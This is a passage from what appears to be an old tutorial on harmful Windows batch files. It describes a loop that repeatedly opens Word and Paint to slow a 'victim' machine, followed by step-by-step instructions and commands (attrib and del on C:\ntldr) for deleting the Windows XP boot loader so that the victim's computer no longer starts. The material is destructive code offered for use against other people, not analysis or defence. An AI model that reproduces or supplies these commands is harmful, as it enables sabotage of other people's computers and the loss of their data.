:x //loop variable
start winword
start mspaint //open paint

victim and ofcourse affecting performance.
Folder flooder

Deleting boot files
Goto C drive in Win XP ,
Tools->Folder Option->View
Now Uncheck the option 'Hide
operating system files' and check option 'Show hidden files and folders'.
Click apply
Now you can see the operating system
files. There is a one file 'ntldr' which is boot loader used to boot
the windows.
Lets make a batch file to
delete this file from victim's
computer and the windows will not start then.
attrib -S -R -H C:\ntldr //
-S,-R,-H to clear system file attribute, read only attribute , hidden file
attribute respectively
del ntldr //delete
ntldr file
After running this batch file , system
will not reboot and a normal victim would definitely install the
windows again.
